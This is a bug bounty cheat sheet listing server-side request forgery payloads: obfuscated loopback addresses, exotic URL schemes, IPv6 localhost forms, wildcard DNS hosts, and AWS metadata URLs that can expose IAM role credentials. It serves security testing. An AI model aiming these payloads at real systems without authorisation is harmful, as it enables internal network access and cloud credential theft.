SSRF cheat sheet

Server-side request forgery (SSRF)Exploitation

From Bug Bounty Cheat Sheet by EdOverflow and contributors, under the CC BY-SA 4.0 licence. Shown as written; the title and classification are ours. This tip stays under the CC BY-SA 4.0 licence. Licences. Its authors can have this tip removed by writing to abuse@bugbountytips.org.

code
http://0177.1/
code
http://0x7f.1/
code
http://127.000.000.1
code
https://520968996

Note: The latter can be calculated using http://www.subnetmask.info/

Exotic Handlers

code
gopher://, dict://, php://, jar://, tftp://

IPv6

code
http://[::1]
code
http://[::]

Wildcard DNS

code
10.0.0.1.xip.io
www.10.0.0.1.xip.io
mysite.10.0.0.1.xip.io
foo.bar.10.0.0.1.xip.io

Link: http://xip.io

code
10.0.0.1.nip.io
app.10.0.0.1.nip.io
customer1.app.10.0.0.1.nip.io
customer2.app.10.0.0.1.nip.io
otherapp.10.0.0.1.nip.io

Link: http://nip.io

AWS EC2 Metadata

code
http://169.254.169.254/latest/meta-data/  
code
http://169.254.169.254/latest/meta-data/local-hostname
code
http://169.254.169.254/latest/meta-data/public-hostname

If there is an IAM role associated with the instance, role-name is the name of the role, and role-name contains the temporary security credentials associated with the role [...]

Link: http://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-metadata.html (includes a comprehensive Instance Metadata Categories table)

Comments

No comments yet.